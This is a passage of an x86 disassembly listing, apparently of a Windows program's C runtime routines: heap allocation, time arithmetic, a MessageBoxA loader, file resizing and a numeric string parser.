; ---------------------------------------------------------------------------


loc_424F2D:				; CODE XREF: sub_424E46+BAj
		mov	eax, [ebp+arg_1C]
		mov	ds:dword_43F9E4, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, ds:dword_43F940
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	ds:dword_43F9E8, eax
		jns	short loc_424F65
		add	eax, 5265C00h
		dec	ecx
		mov	ds:dword_43F9E8, eax
		jmp	short loc_424F76
; ---------------------------------------------------------------------------


loc_424F65:				; CODE XREF: sub_424E46+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424F7C
		sub	eax, edx
		inc	ecx
		mov	ds:dword_43F9E8, eax


loc_424F76:				; CODE XREF: sub_424E46+11Dj
		mov	ds:dword_43F9E4, ecx


loc_424F7C:				; CODE XREF: sub_424E46+126j
		mov	ds:dword_43F9E0, ebx


loc_424F82:				; CODE XREF: sub_424E46+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424E46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F86	proc near		; CODE XREF: sub_42294B+22p
					; sub_42294B+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_424FA7
		test	esi, esi
		jnz	short loc_424FA1
		push	1
		pop	esi


loc_424FA1:				; CODE XREF: sub_424F86+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_424FA7:				; CODE XREF: sub_424F86+12j
					; sub_424F86+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_425006
		mov	eax, ds:dword_4DF548
		cmp	eax, 3
		jnz	short loc_424FD2
		mov	eax, [ebp+arg_0]
		cmp	eax, ds:dword_4DF540
		ja	short loc_424FF1
		push	eax
		call	sub_41E3EB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_42501C
		jmp	short loc_424FF1
; ---------------------------------------------------------------------------


loc_424FD2:				; CODE XREF: sub_424F86+30j
		cmp	eax, 2
		jnz	short loc_424FF1
		cmp	esi, ds:dword_43EF84
		ja	short loc_424FF1
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EE8E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_425030


loc_424FF1:				; CODE XREF: sub_424F86+3Bj
					; sub_424F86+4Aj ...
		push	esi
		push	8
		push	ds:dword_4DF544
		call	ds:dword_428148	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_42502A


loc_425006:				; CODE XREF: sub_424F86+26j
		cmp	ds:dword_4DDF3C, 0
		jz	short loc_42502A
		push	esi
		call	sub_41F532
		test	eax, eax
		pop	ecx
		jz	short loc_425033
		jmp	short loc_424FA7
; ---------------------------------------------------------------------------


loc_42501C:				; CODE XREF: sub_424F86+48j
		push	[ebp+arg_0]


loc_42501F:				; CODE XREF: sub_424F86+ABj
		push	0
		push	edi
		call	sub_41B780
		add	esp, 0Ch


loc_42502A:				; CODE XREF: sub_424F86+7Ej
					; sub_424F86+87j
		mov	eax, edi


loc_42502C:				; CODE XREF: sub_424F86+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425030:				; CODE XREF: sub_424F86+69j
		push	esi
		jmp	short loc_42501F
; ---------------------------------------------------------------------------


loc_425033:				; CODE XREF: sub_424F86+92j
		xor	eax, eax
		jmp	short loc_42502C
sub_424F86	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4229F0


loc_425037:				; CODE XREF: sub_4229F0+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	ds:dword_4DF300, esi
		jle	short loc_42508A


loc_425046:				; CODE XREF: sub_4229F0+2698j
		mov	eax, ds:dword_4DE2E4
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_425081
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_425065
		push	eax
		call	sub_41B24B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_425065
		inc	edi


loc_425065:				; CODE XREF: sub_4229F0+2666j
					; sub_4229F0+2672j
		cmp	esi, 14h
		jl	short loc_425081
		mov	eax, ds:dword_4DE2E4
		push	dword ptr [eax+esi*4]
		call	sub_41B2A1
		mov	eax, ds:dword_4DE2E4
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_425081:				; CODE XREF: sub_4229F0+2660j
					; sub_4229F0+2678j
		inc	esi
		cmp	esi, ds:dword_4DF300
		jl	short loc_425046


loc_42508A:				; CODE XREF: sub_4229F0+2654j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4229F0

; =============== S U B	R O U T	I N E =======================================



sub_42508F	proc near		; CODE XREF: seg000:004231A1p

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_4250A0
		add	esp, 0Ch
		retn
sub_42508F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250A0	proc near		; CODE XREF: sub_42508F+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	ds:byte_4DF421[eax], cl
		jnz	short loc_4250CD
		cmp	[esp+arg_4], 0
		jz	short loc_4250C6
		movzx	eax, ds:word_43EF92[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_4250C8
; ---------------------------------------------------------------------------


loc_4250C6:				; CODE XREF: sub_4250A0+16j
		xor	eax, eax


loc_4250C8:				; CODE XREF: sub_4250A0+24j
		test	eax, eax
		jnz	short loc_4250CD
		retn
; ---------------------------------------------------------------------------


loc_4250CD:				; CODE XREF: sub_4250A0+Fj
					; sub_4250A0+2Aj
		push	1
		pop	eax
		retn
sub_4250A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250D1	proc near		; CODE XREF: sub_4238CD+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_4DE1A4, ebx
		push	esi
		push	edi
		jnz	short loc_425120
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_4280B8	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_425156
		mov	esi, ds:dword_4280BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	ds:dword_4DE1A4, eax
		jz	short loc_425156
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	ds:dword_4DE1A8, eax
		call	esi
		mov	ds:dword_4DE1AC, eax


loc_425120:				; CODE XREF: sub_4250D1+Bj
		mov	eax, ds:dword_4DE1A8
		test	eax, eax
		jz	short loc_42513F
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_42513F
		mov	eax, ds:dword_4DE1AC
		test	eax, eax
		jz	short loc_42513F
		push	ebx
		call	eax
		mov	ebx, eax


loc_42513F:				; CODE XREF: sub_4250D1+56j
					; sub_4250D1+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	ds:dword_4DE1A4


loc_425152:				; CODE XREF: sub_4250D1+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425156:				; CODE XREF: sub_4250D1+1Cj
					; sub_4250D1+33j
		xor	eax, eax
		jmp	short loc_425152
sub_4250D1	endp

; ---------------------------------------------------------------------------


loc_42515A:				; CODE XREF: sub_423C7E+271p
		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BD10
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	ebx, ds:dword_4DE2E0
		jnb	loc_42528F
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, ds:dword_4DE1E0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_42528F
		push	1
		push	esi
		push	ebx
		call	sub_422A04
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_425299
		push	2
		push	esi
		push	ebx
		call	sub_422A04
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_425299
		push	edi
		mov	edi, [ebp+0Ch]
		sub	edi, eax
		test	edi, edi
		jle	short loc_42523C
		push	1000h
		lea	eax, [ebp-1000h]
		push	esi
		push	eax
		call	sub_41B780
		push	8000h
		push	ebx
		call	sub_425D94
		add	esp, 14h
		mov	[ebp+0Ch], eax


loc_4251F0:				; CODE XREF: seg000:00425217j
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_4251FB
		mov	eax, edi


loc_4251FB:				; CODE XREF: seg000:004251F7j
		push	eax
		lea	eax, [ebp-1000h]
		push	eax
		push	ebx
		call	loc_422BF6
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_425219
		sub	edi, eax
		test	edi, edi
		jle	short loc_42522F
		jmp	short loc_4251F0
; ---------------------------------------------------------------------------


loc_425219:				; CODE XREF: seg000:0042520Fj
		cmp	ds:dword_4DDEB8, 5
		jnz	short loc_42522C
		mov	ds:dword_4DDEB4, 0Dh


loc_42522C:				; CODE XREF: seg000:00425220j
		or	esi, 0FFFFFFFFh


loc_42522F:				; CODE XREF: seg000:00425215j
		push	dword ptr [ebp+0Ch]
		push	ebx
		call	sub_425D94
		pop	ecx
		pop	ecx
		jmp	short loc_42527C
; ---------------------------------------------------------------------------


loc_42523C:				; CODE XREF: seg000:004251CBj
		jge	short loc_42527C
		push	0


loc_425240:				; DATA XREF: seg002:off_43ADB0o
		push	dword ptr [ebp+0Ch]
		push	ebx
		call	sub_422A04
		push	ebx
		call	sub_423BA6
		add	esp, 10h
		push	eax
		call	near ptr 0B10000h
		cmp	cl, [ebx+1BDEF7F0h]
		div	bh
		fimul	word ptr [esi-7Dh]
; ---------------------------------------------------------------------------
		db 0FEh
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+15h]
		mov	ds:dword_4DDEB4, 0Dh
		call	ds:dword_42808C	; RtlGetLastWin32Error
		mov	ds:dword_4DDEB8, eax


loc_42527C:				; CODE XREF: seg000:0042523Aj
					; seg000:loc_42523Cj
		push	0
		push	dword ptr [ebp+8]
		push	ebx
		call	sub_422A04
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_42529C
; ---------------------------------------------------------------------------


loc_42528F:				; CODE XREF: seg000:00425174j
					; seg000:00425190j
		mov	ds:dword_4DDEB4, 9


loc_425299:				; CODE XREF: seg000:004251A8j
					; seg000:004251BDj
		or	eax, 0FFFFFFFFh


loc_42529C:				; CODE XREF: seg000:0042528Dj
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4252A0	proc near		; CODE XREF: sub_42441F+2Bp
					; sub_42441F+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_4252B6
		cmp	ecx, esi
		jnb	short loc_4252B9


loc_4252B6:				; CODE XREF: sub_4252A0+10j
		push	1
		pop	eax


loc_4252B9:				; CODE XREF: sub_4252A0+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_4252A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4252C1	proc near		; CODE XREF: sub_42537A+40p
					; sub_42537A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_4252A0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4252F3
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_4252A0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4252F3
		inc	dword ptr [esi+8]


loc_4252F3:				; CODE XREF: sub_4252C1+19j
					; sub_4252C1+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_4252A0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42530B
		inc	dword ptr [esi+8]


loc_42530B:				; CODE XREF: sub_4252C1+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_4252A0
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_4252C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_42531F	proc near		; CODE XREF: sub_42537A+30p
					; sub_42537A+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_42531F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42534D	proc near		; CODE XREF: sub_425912+1C8p
					; sub_425E0A+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_42534D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42537A	proc near		; CODE XREF: sub_425441+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_4253EE
		push	edi
		mov	[ebp+arg_8], eax


loc_4253A1:				; CODE XREF: sub_42537A+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_42531F
		push	ebx
		call	sub_42531F
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_4252C1
		push	ebx
		call	sub_42531F
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_4252C1
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_4253A1
		xor	edx, edx
		pop	edi


loc_4253EE:				; CODE XREF: sub_42537A+21j
					; sub_42537A+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_42541B
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_4253EE
; ---------------------------------------------------------------------------


loc_42541B:				; CODE XREF: sub_42537A+77j
		mov	esi, 8000h


loc_425420:				; CODE XREF: sub_42537A+B9j
		test	[ebx+8], esi
		jnz	short loc_425435
		push	ebx
		call	sub_42531F
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_425420
; ---------------------------------------------------------------------------


loc_425435:				; CODE XREF: sub_42537A+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_42537A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425441	proc near		; CODE XREF: sub_424768+17p
					; sub_424795+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_42547C:				; CODE XREF: sub_425441+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_425492
		cmp	cl, 9
		jz	short loc_425492
		cmp	cl, 0Ah
		jz	short loc_425492
		cmp	cl, 0Dh
		jnz	short loc_425495


loc_425492:				; CODE XREF: sub_425441+40j
					; sub_425441+45j ...
		inc	edi
		jmp	short loc_42547C
; ---------------------------------------------------------------------------


loc_425495:				; CODE XREF: sub_425441+4Fj
		push	4
		pop	esi


loc_425498:				; CODE XREF: sub_425441+AEj
					; sub_425441+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_42571B	; default
					; jumptable 004254A4 case 10
		jmp	ds:off_4258E2[eax*4] ; switch jump


loc_4254AB:				; DATA XREF: seg000:off_4258E2o
		cmp	bl, 31h		; jumptable 004254A4 case 0
		jl	short loc_4254BC
		cmp	bl, 39h
		jg	short loc_4254BC


loc_4254B5:				; CODE XREF: sub_425441+C4j
					; sub_425441+118j
		push	3
		jmp	loc_4256D9
; ---------------------------------------------------------------------------


loc_4254BC:				; CODE XREF: sub_425441+6Dj
					; sub_425441+72j
		cmp	bl, ds:byte_43F198
		jnz	short loc_4254CB


loc_4254C4:				; CODE XREF: sub_425441+124j
		push	5
		jmp	loc_425711
; ---------------------------------------------------------------------------


loc_4254CB:				; CODE XREF: sub_425441+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4254F1
		dec	eax
		dec	eax
		jz	short loc_4254E5
		sub	eax, 3
		jnz	loc_4257B4
		jmp	loc_425574
; ---------------------------------------------------------------------------


loc_4254E5:				; CODE XREF: sub_425441+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425498
; ---------------------------------------------------------------------------


loc_4254F1:				; CODE XREF: sub_425441+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425498
; ---------------------------------------------------------------------------


loc_4254FA:				; CODE XREF: sub_425441+63j
					; DATA XREF: seg000:off_4258E2o
		cmp	bl, 31h		; jumptable 004254A4 case 1
		mov	[ebp+var_10], edx
		jl	short loc_425507
		cmp	bl, 39h
		jle	short loc_4254B5


loc_425507:				; CODE XREF: sub_425441+BFj
		cmp	bl, ds:byte_43F198
		jz	loc_4255CF
		cmp	bl, 2Bh
		jz	short loc_425549
		cmp	bl, 2Dh
		jz	short loc_425549
		cmp	bl, 30h
		jz	short loc_425574


loc_425522:				; CODE XREF: sub_425441+207j
		cmp	bl, 43h
		jle	loc_4257B4
		cmp	bl, 45h
		jle	short loc_425542
		cmp	bl, 63h
		jle	loc_4257B4
		cmp	bl, 65h
		jg	loc_4257B4


loc_425542:				; CODE XREF: sub_425441+EDj
		push	6
		jmp	loc_425711
; ---------------------------------------------------------------------------


loc_425549:				; CODE XREF: sub_425441+D5j
					; sub_425441+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_425711
; ---------------------------------------------------------------------------


loc_425551:				; CODE XREF: sub_425441+63j
					; DATA XREF: seg000:off_4258E2o
		cmp	bl, 31h		; jumptable 004254A4 case 2
		jl	short loc_42555F
		cmp	bl, 39h
		jle	loc_4254B5


loc_42555F:				; CODE XREF: sub_425441+113j
		cmp	bl, ds:byte_43F198
		jz	loc_4254C4
		cmp	bl, 30h
		jnz	loc_425729


loc_425574:				; CODE XREF: sub_425441+9Fj
					; sub_425441+DFj
		mov	eax, edx
		jmp	loc_425498
; ---------------------------------------------------------------------------


loc_42557B:				; CODE XREF: sub_425441+63j
					; DATA XREF: seg000:off_4258E2o
		mov	[ebp+var_10], edx ; jumptable 004254A4 case 3


loc_42557E:				; CODE XREF: sub_425441+184j
		cmp	ds:dword_43F194, edx
		jle	short loc_425597
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F735
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4255A5
; ---------------------------------------------------------------------------


loc_425597:				; CODE XREF: sub_425441+143j
		mov	ecx, ds:off_43EF88
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4255A5:				; CODE XREF: sub_425441+154j
		test	eax, eax
		jz	short loc_4255C7
		cmp	[ebp+var_4], 19h
		jnb	short loc_4255BF
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_4255C2
; ---------------------------------------------------------------------------


loc_4255BF:				; CODE XREF: sub_425441+16Cj
		inc	[ebp+var_8]


loc_4255C2:				; CODE XREF: sub_425441+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42557E
; ---------------------------------------------------------------------------


loc_4255C7:				; CODE XREF: sub_425441+166j
		cmp	bl, ds:byte_43F198
		jnz	short loc_425636


loc_4255CF:				; CODE XREF: sub_425441+CCj
		mov	eax, esi
		jmp	loc_425498
; ---------------------------------------------------------------------------


loc_4255D6:				; CODE XREF: sub_425441+63j
					; DATA XREF: seg000:off_4258E2o
		cmp	[ebp+var_4], 0	; jumptable 004254A4 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_4255EF


loc_4255E2:				; CODE XREF: sub_425441+1ACj
		cmp	bl, 30h
		jnz	short loc_4255EF
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4255E2
; ---------------------------------------------------------------------------


loc_4255EF:				; CODE XREF: sub_425441+19Fj
					; sub_425441+1A4j ...
		cmp	ds:dword_43F194, edx
		jle	short loc_425608
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F735
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425616
; ---------------------------------------------------------------------------


loc_425608:				; CODE XREF: sub_425441+1B4j
		mov	ecx, ds:off_43EF88
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425616:				; CODE XREF: sub_425441+1C5j
		test	eax, eax
		jz	short loc_425636
		cmp	[ebp+var_4], 19h
		jnb	short loc_425631
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_425631:				; CODE XREF: sub_425441+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4255EF
; ---------------------------------------------------------------------------


loc_425636:				; CODE XREF: sub_425441+18Cj
					; sub_425441+1D7j
		cmp	bl, 2Bh
		jz	loc_425549
		cmp	bl, 2Dh
		jz	loc_425549
		jmp	loc_425522
; ---------------------------------------------------------------------------


loc_42564D:				; CODE XREF: sub_425441+63j
					; DATA XREF: seg000:off_4258E2o
		cmp	ds:dword_43F194, edx ; jumptable 004254A4 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425669
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F735
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425669:				; CODE XREF: sub_425441+215j
		mov	ecx, ds:off_43EF88
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425677:				; CODE XREF: sub_425441+226j
		test	eax, eax
		jz	loc_425729
		mov	eax, esi
		jmp	short loc_4256DA
; ---------------------------------------------------------------------------


loc_425683:				; CODE XREF: sub_425441+63j
					; DATA XREF: seg000:off_4258E2o
		lea	ecx, [edi-2]	; jumptable 004254A4 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_425693
		cmp	bl, 39h
		jle	short loc_4256D7


loc_425693:				; CODE XREF: sub_425441+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_42570F
		dec	eax
		dec	eax
		jz	short loc_425703
		sub	eax, 3
		jnz	loc_4257B7


loc_4256A8:				; CODE XREF: sub_425441+2A4j
		push	8
		jmp	short loc_425711
; ---------------------------------------------------------------------------


loc_4256AC:				; CODE XREF: sub_425441+63j
					; DATA XREF: seg000:off_4258E2o
		mov	[ebp+var_20], edx ; jumptable 004254A4 case 8


loc_4256AF:				; CODE XREF: sub_425441+276j
		cmp	bl, 30h
		jnz	short loc_4256B9
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4256AF
; ---------------------------------------------------------------------------


loc_4256B9:				; CODE XREF: sub_425441+271j
		cmp	bl, 31h
		jl	loc_4257B4
		cmp	bl, 39h
		jg	loc_4257B4
		jmp	short loc_4256D7
; ---------------------------------------------------------------------------


loc_4256CD:				; CODE XREF: sub_425441+63j
					; DATA XREF: seg000:off_4258E2o
		cmp	bl, 31h		; jumptable 004254A4 case 7
		jl	short loc_4256E0
		cmp	bl, 39h
		jg	short loc_4256E0


loc_4256D7:				; CODE XREF: sub_425441+250j
					; sub_425441+28Aj
		push	9


loc_4256D9:				; CODE XREF: sub_425441+76j
		pop	eax


loc_4256DA:				; CODE XREF: sub_425441+240j
		dec	edi
		jmp	loc_425498
; ---------------------------------------------------------------------------


loc_4256E0:				; CODE XREF: sub_425441+28Fj
					; sub_425441+294j
		cmp	bl, 30h
		jnz	short loc_425729
		jmp	short loc_4256A8
; ---------------------------------------------------------------------------


loc_4256E7:				; CODE XREF: sub_425441+63j
					; DATA XREF: seg000:off_4258E2o
		cmp	[ebp+arg_18], 0	; jumptable 004254A4 case 11
		jz	short loc_425717
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_42570F
		dec	eax
		dec	eax
		jnz	loc_4257B7


loc_425703:				; CODE XREF: sub_425441+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425498
; ---------------------------------------------------------------------------


loc_42570F:				; CODE XREF: sub_425441+258j
					; sub_425441+2B8j
		push	7


loc_425711:				; CODE XREF: sub_425441+85j
					; sub_425441+103j ...
		pop	eax
		jmp	loc_425498
; ---------------------------------------------------------------------------


loc_425717:				; CODE XREF: sub_425441+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_42571B:				; CODE XREF: sub_425441+5Dj
					; sub_425441+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 004254A4 case 10
		jz	loc_4257B9
		jmp	loc_425498
; ---------------------------------------------------------------------------


loc_425729:				; CODE XREF: sub_425441+12Dj
					; sub_425441+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_4257B9
; ---------------------------------------------------------------------------


loc_425731:				; CODE XREF: sub_425441+63j
					; DATA XREF: seg000:off_4258E2o
		mov	[ebp+var_20], 1	; jumptable 004254A4 case 9
		xor	esi, esi


loc_42573A:				; CODE XREF: sub_425441+339j
		cmp	ds:dword_43F194, 1
		jle	short loc_425752
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F735
		pop	ecx
		pop	ecx
		jmp	short loc_425761
; ---------------------------------------------------------------------------


loc_425752:				; CODE XREF: sub_425441+300j
		mov	ecx, ds:off_43EF88
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_425761:				; CODE XREF: sub_425441+30Fj
		test	eax, eax
		jz	short loc_425781
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_42577C
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42573A
; ---------------------------------------------------------------------------


